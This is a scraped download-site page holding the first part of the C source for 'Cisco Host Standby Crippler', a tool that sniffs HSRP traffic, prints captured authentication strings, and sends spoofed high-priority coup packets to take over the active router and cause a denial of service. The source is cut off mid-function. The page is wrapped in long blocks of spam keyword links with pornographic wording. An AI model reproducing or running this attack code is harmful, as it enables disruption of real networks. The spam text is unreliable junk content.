亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? main.c

?? HSRP攻擊程序源碼
?? C
?? 第 1 頁 / 共 2 頁
字號:
//Cisco Host Standby Crippler
//By Big Poop root@networkpenetration.com
//
//You need libpcap installed
//To compile gcc *.c /usr/lib/libpcap.a -Wall -o hsrp_crippler
//Tested On Mandrake 8
//
//Use -S..... -C was only used during testing as i didn't have
//a router to hand for any of the initial development
//How it works...
//		1. Sniff for HSRP packets via libpcap
//		2. Create a spoofed packets from intial sniffed
//			packet
//		3. Send spoofed packets saying the this machine
//			has higher priority thus the active route
//			will be pre-empted causing a DoS for aslong
//			as the attack continues
//
//TODO... at some point i will add spoofed mac addresses via
//libnet.... only if i get bored :)
//

#include "HSRP.h"
#include <pcap.h>
//globals
struct ops o[0]; //Options Structure
struct in_addr addr; 
struct sockaddr *dest;
struct sockaddr_in s_in;
socklen_t destlen;

int datalink; //pcap_datalink
char *device; //pcap device
pcap_t *pd; //packet capture struct pointer
int rawfd; //raw socket
int fddipad; //fddi hack from UNP
int snaplen = 200;  //amount of data to grab

int main (int argc, char**argv)
{
	int c;
	char *ipaddr;

	printf("Cisco Hot Standby Router Protocol Crippler v" VER "\n");
	printf("By Big Poop root@networkpenetration.com\n");
	if (argc < 2)
	{
		usage(argv[0]);
		exit;
	}

	memset(&o, '\0', sizeof(o)); //clear options structure 
	opterr = 0;
	while ( (c=getopt(argc, argv, "SCdi:h:a:v:g:f:")) != -1){
		switch (c) {

			case 'S': o->sniff = 1;
				  break;

			case 'C': o->cripple = 1; //send coup
				  break;
			
			case 'h': o->hellotime = atoi(optarg);
				  break;
				  
			case 'a': strncpy(o->auth, optarg, sizeof(o->auth));
				  break;

			case 'v': if(!inet_aton(optarg, &o->virtualip)){
					printf("Malformed IP address: %s\n",optarg);
					exit;
				  }
				  break;
				  
			case 'g': o->group = atoi(optarg);
				  break;

			case 'i': device = optarg;
				  break;
			
			case 'f': if(!inet_aton(optarg, &o->spoofed)){
					  printf("Mallformed Spoof address: %s\n",optarg);
					  exit;
				  }
				  break;
				  
			default: usage(argv[0]);
				 exit(1);
		}
	}
	if(!o->hellotime) o->hellotime = 3;
	if(!o->group) o->group = 1;
	
	printf("\n");
	if((o->sniff) && (o->cripple)){
		printf("You can't sniff and send a constructed packet\n");
		exit(0);
	}

	if((!o->sniff) && (!o->cripple)){
		printf("You need to select either sniff (-S) or cripple (-C)\n");
		exit(0);
	}
	if(!o->sniff){
		ipaddr = argv[optind];
		if(!inet_aton((const char*)ipaddr, &addr)){
			printf("%s is an invalid IP address\n", ipaddr);
			exit(1);
		}
	}
	
	if(o->sniff){
		s_in.sin_family = AF_INET;
		s_in.sin_port = htons(1985); //HSRP port
		s_in.sin_addr.s_addr = inet_addr("224.0.0.2"); //multicast IP address
		opensniff();
		exit(0);
	}

	if(o->cripple){
		coup();
	}
	exit(0); //shouldn't reach here
}

//start sniffing packets
void opensniff()
{
	struct header *heada;
	open_pcap(); //start packet capture
	printf("Sniffing for HSRP packets......\n");
	heada = udpread(); //get a HSRP packet
	printf("Got a HSRP packet, details as follows\n");
	printf("Version: %x\n", heada->buf[0]);
	printf("Opcode: %x ", heada->buf[1]);
	if(heada->buf[1] == 0) {
		printf("Hello Opcode\n");
	}
	if(heada->buf[1] == 1) {
		printf("Coup Opcode\n");
	}
	if(heada->buf[1] == 2){
		printf("Resign Opcode\n");
	}
	printf("State: %d ", heada->buf[2]);
	if(heada->buf[2] == 0) {
		printf("Inital State\n");
	}
	if(heada->buf[2] == 1){
		printf("Learn State\n");
	}
	if(heada->buf[2] == 2){
		printf("Listen State\n");
	}
	if(heada->buf[2] == 4){
		printf("Speak State\n");
	}
	if(heada->buf[2] == 8){
		printf("Standby State\n");
	}
	if(heada->buf[2] == 16){
		printf("Active State\n");
	}
	printf("Hello time: %x\n", heada->buf[3]);
	printf("Hold time: %x\n", heada->buf[4]);
	printf("Priority: %x\n", heada->buf[5]);
	printf("Group: %x\n", heada->buf[6]);
	printf("Reserved: %x\n", heada->buf[7]);
	printf("Authentication: %c%c%c%c%c%c%c%c\n", heada->buf[8], heada->buf[9], heada->buf[10], heada->buf[11], heada->buf[12], heada->buf[13], heada->buf[14], heada->buf[15]);
	printf("Virtual IP: %x.%x.%x.%x\n", heada->buf[16], heada->buf[17], heada->buf[18], heada->buf[19]);
	sniffedcoup(heada);
	exit(0);
}

struct header *udpread()
{
	int len;
	char *ptr;
	struct ether_header *eptr;
	for( ; ; ){
		ptr = next_pcap(&len);
		switch(datalink) { 	//loopback header = 4
			case DLT_NULL: 
				return (udp_check(ptr+4, len -4));

			case DLT_EN10MB: 
				eptr = (struct ether_header *) ptr;
				if(ntohs(eptr->ether_type) != ETHERTYPE_IP){
					printf("Ethernet Type %x not IP", ntohs(eptr->ether_type));
					exit(1);
				}
				return (udp_check(ptr +14, len -14));
			
			case DLT_SLIP:	//slip header
				return(udp_check(ptr + 24, len -24));

			case DLT_PPP:  //ppp header
				return(udp_check(ptr + 24, len -24));

			default:
				printf("Unsupported datalink %d", datalink);
				exit(1);
					
		}
	}
}


struct header *
udp_check(char *ptr, int len)
{
	int hlen;
	struct ip *ip;
	struct header *hdr;
	if(len < sizeof(struct ip) + sizeof(struct udphdr)){
		printf("len = %d", len);
		exit(1);
	}

	ip = (struct ip *) ptr;
	if (ip->ip_v != IPVERSION) {
		printf("ip_v = %d", ip->ip_v);
		exit(1);
	}
	
	hlen = (ip->ip_hl << 2);
	if(hlen < sizeof(struct ip)){
		printf("ip_hl = %d", ip->ip_hl);
		exit(1);
	}
	
	if (len < hlen + sizeof(struct udphdr)){
		printf("len = %d, hlen = %d",len, hlen);
		exit(1);
	}
	
	if ((ip->ip_sum = in_chksum((u_short *) ip, hlen)) !=0){
		printf("ip checksum error");
		exit(1);
	}

	if (ip->ip_p == IPPROTO_UDP){
		hdr = (struct header *) ip;
		return (hdr);
	}
	else {	
		printf("not a udp packet\n");
		exit(1);
	}
}

#define CMD "udp and src port %d" //cmd line
void open_pcap(void)
{
	uint32_t localnet, netmask;
	char cmd[MAXLINE], errbuf[PCAP_ERRBUF_SIZE];
	struct bpf_program fcode;
	printf("Trying to open Pcap device\n");
	if (device == NULL){
		if((device = pcap_lookupdev(errbuf)) == NULL){
			printf("pcap_lookup: %s\n", errbuf);
			exit(1);
		}
	}
	printf("device = %s\n", device);

		//hardcode promisc = 0, to_ms = 500
	if((pd = pcap_open_live(device, snaplen, 0, 500, errbuf)) == NULL){
		printf("pcap_open_live: %s\n", errbuf);
		exit(1);
	}

	if (pcap_lookupnet(device, &localnet, &netmask, errbuf) < 0){
		printf("pcap_lookupnet: %s\n", errbuf);
		exit(1);
	}

	snprintf(cmd, sizeof(cmd), CMD, 1985);

	if (pcap_compile(pd, &fcode, cmd, 0, netmask) <0){
		printf("pcap compile: %s", pcap_geterr(pd));
		exit(1);
	}

	if (pcap_setfilter(pd, &fcode) < 0){
		printf("pcap_setfilter: %s", pcap_geterr(pd));
		exit(1);
	}
				
	if ((datalink = pcap_datalink(pd)) < 0){
		printf("pcap_datalink: %s", pcap_geterr(pd));
		exit(1);
	}
}

char *
next_pcap(int *len)
{
	char *ptr;
	struct pcap_pkthdr hdr;

	//loop until packet ready
	while((ptr = (char *) pcap_next(pd, &hdr)) == NULL);
	*len = hdr.caplen;
	return(ptr);
}

//non sniffed packets
void coup()
{	
	struct sockaddr_in sin;
	int sock;
	int sinlen;
	int on = 1; //used in setsockopt
	unsigned char *ipp;
	struct header heada;
	
	ipp = (unsigned char *) &o->virtualip.s_addr;
	
	memset(&heada, '\0', sizeof(heada));
	printf("sending coup command to preempt da server\n");
	heada.ip.ihl = 5;
	heada.ip.version = 4;
	heada.ip.tos = 0;
	heada.ip.tot_len = htons(40);
	heada.ip.frag_off = 0;
	heada.ip.ttl = 1; //may need to change
	heada.ip.protocol = IPPROTO_UDP;
	heada.ip.check = 0; //calculated after
	if(o->spoofed.s_addr){
		heada.ip.saddr = o->spoofed.s_addr; //spoofed address
	}
	else heada.ip.saddr = 0; //let kernel decide
	heada.ip.daddr = addr.s_addr; //use multicast address 224.0.0.2
	
	heada.udp.source = htons(1985);
	heada.udp.dest = htons(1985);
	heada.udp.len = htons(28); 
	heada.udp.check = 0; // u don't need a checksum apparently
	
	heada.buf[0] = 0x00; //version
	heada.buf[1] = 0x01; //opcode 1 = coup
	heada.buf[2] = 0x10; //state ACTIVE
	if(o->hellotime) heada.buf[3] = o->hellotime;
	else heada.buf[3] = 0x03; //hello time
	heada.buf[4] = 0xff; //holdtime 255
	heada.buf[5] = 0xff; //priority 255
	if(o->group) heada.buf[6] = o->group;
	else heada.buf[6] = 0x01; //group
	heada.buf[7] = 0x00; //reserved
	if(*o->auth){
		heada.buf[8] = o->auth[0]; 
		heada.buf[9] = o->auth[1]; 

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
日本一区二区视频在线| 欧美专区日韩专区| 国产日韩欧美高清在线| 日本在线播放一区二区三区| 在线观看亚洲精品| 777a∨成人精品桃花网| 亚洲综合无码一区二区| 亚洲国产精品黑人久久久| 91丨porny丨首页| 亚洲视频网在线直播| 欧美巨大另类极品videosbest | 亚洲综合视频在线观看| 激情综合五月天| 国产精品视频一区二区三区不卡| 国产成人精品影院| 久久久久久综合| 欧日韩精品视频| 五月天中文字幕一区二区| 欧美一级片在线看| 成人动漫一区二区在线| 亚洲国产精品久久久久婷婷884 | av在线这里只有精品| 日韩欧美精品在线视频| 免费一级片91| 国产欧美日韩三区| 制服丝袜亚洲色图| 精品国产伦一区二区三区观看方式| 国产精品理论片在线观看| 国产aⅴ精品一区二区三区色成熟| 婷婷激情综合网| 亚洲一二三专区| 亚洲免费资源在线播放| 中文字幕在线不卡| 男女男精品网站| 丝袜诱惑制服诱惑色一区在线观看| 亚洲欧洲中文日韩久久av乱码| 亚洲国产精品传媒在线观看| 久久色视频免费观看| 精品国产免费人成在线观看| 日韩午夜激情视频| 日韩欧美久久久| 日韩精品一区在线| 日韩视频在线永久播放| 日韩一卡二卡三卡四卡| 欧美一级午夜免费电影| 7799精品视频| 欧美日韩一区中文字幕| 欧美视频你懂的| 国产高清不卡一区二区| 久久精品av麻豆的观看方式| 亚洲欧美另类久久久精品| 久久精品男人的天堂| 欧美日韩国产高清一区二区三区 | av激情综合网| 免费人成在线不卡| 亚欧色一区w666天堂| 亚洲欧美精品午睡沙发| 亚洲乱码中文字幕综合| 国产丝袜美腿一区二区三区| 2022国产精品视频| 日韩精品一区二区三区在线| 久久综合九色欧美综合狠狠| 日韩精品一区在线| 色香色香欲天天天影视综合网| 综合av第一页| 国产精品久久网站| 国产精品人妖ts系列视频 | 精品国免费一区二区三区| 久久亚洲捆绑美女| 日韩一级大片在线观看| 欧美精品一区二区不卡| 中文字幕在线观看不卡视频| **欧美大码日韩| 三级成人在线视频| 久久精品国产精品亚洲精品 | 国产一区二区三区久久悠悠色av| 99久久久久久| 在线免费观看日本欧美| 欧美视频完全免费看| 日韩欧美一级在线播放| 国产精品乱码人人做人人爱| 国产欧美综合在线观看第十页 | av不卡一区二区三区| 99久久99久久精品免费看蜜桃 | 国产精品久久久久久福利一牛影视| 国产一区二三区| 日韩精品一区二区三区四区| 另类小说综合欧美亚洲| 精品动漫一区二区三区在线观看| 激情图片小说一区| 国产精品伦理一区二区| 日韩不卡在线观看日韩不卡视频| 国产福利一区二区三区在线视频| 欧美日韩国产美| 中文字幕av在线一区二区三区| 亚洲另类色综合网站| 99在线视频精品| 91精品综合久久久久久| 一本久久综合亚洲鲁鲁五月天 | 日韩精品在线一区| 亚洲欧美一区二区三区国产精品| 蜜桃一区二区三区四区| 99视频国产精品| 精品国产亚洲一区二区三区在线观看| 亚洲色图.com| 国产91丝袜在线18| 欧美一区二区三区免费视频| 亚洲色图第一区| 高清成人在线观看| 欧美电影免费观看高清完整版在 | 欧洲精品一区二区| 欧美国产视频在线| 精品一区二区三区免费播放| 欧美日韩一区二区欧美激情| 国产精品国产三级国产a| 久久精品国产免费看久久精品| 欧美日韩在线直播| 国产精品伦一区| 懂色av一区二区三区免费观看| 日韩欧美国产综合一区| 天天色图综合网| 欧洲色大大久久| 国产麻豆成人精品| 日韩一区二区中文字幕| 日日欢夜夜爽一区| 欧美在线999| 亚洲一区二三区| 在线观看一区二区视频| 中文字幕一区二区5566日韩| 国产精品18久久久久久久久| 欧美一区二区三区在线| 亚洲成人资源网| 欧美自拍丝袜亚洲| 亚洲一区二区三区精品在线| 97se亚洲国产综合自在线不卡| 国产精品亲子伦对白| 成人精品在线视频观看| 欧美国产综合色视频| 国产成人亚洲综合a∨婷婷| 久久久久88色偷偷免费| 国产一区二区看久久| 久久久99久久| 成人小视频免费观看| 欧美高清在线一区| 成人av影视在线观看| 亚洲欧洲www| 91福利视频在线| 天堂蜜桃一区二区三区| 日韩一区二区在线观看视频 | 精品一区二区三区免费视频| 精品国产免费一区二区三区四区| 国产精品一区在线观看你懂的| 国产日产欧美一区二区视频| 波多野结衣中文字幕一区| 亚洲人午夜精品天堂一二香蕉| 在线一区二区三区四区| 五月激情六月综合| 欧美xfplay| 风流少妇一区二区| 一区二区三区在线免费视频| 欧美狂野另类xxxxoooo| 久久99精品国产麻豆婷婷洗澡| 日韩一区二区在线观看视频播放| 国产乱子轮精品视频| 国产精品国产a| 在线观看国产日韩| 久久99国产乱子伦精品免费| 国产农村妇女毛片精品久久麻豆 | 国产成人日日夜夜| 亚洲欧美日韩国产手机在线 | 欧美电影免费观看高清完整版在线| 国产毛片精品一区| 一区二区三区资源| 日韩你懂的在线观看| 白白色亚洲国产精品| 秋霞国产午夜精品免费视频| 国产亚洲女人久久久久毛片| 一本色道**综合亚洲精品蜜桃冫| 免费精品99久久国产综合精品| 欧美韩国日本一区| 91麻豆精品久久久久蜜臀| 国产91丝袜在线播放0| 天天综合色天天综合色h| 国产精品―色哟哟| 在线播放日韩导航| 成人精品国产免费网站| 爽好久久久欧美精品| 亚洲国产精华液网站w| 欧美剧情片在线观看| a4yy欧美一区二区三区| 免费一区二区视频| 亚洲一区视频在线| 国产精品欧美久久久久无广告| 欧美电影影音先锋| 97aⅴ精品视频一二三区| 另类人妖一区二区av| 一区二区三区产品免费精品久久75| 精品1区2区在线观看| 欧美色综合影院| 99在线精品视频|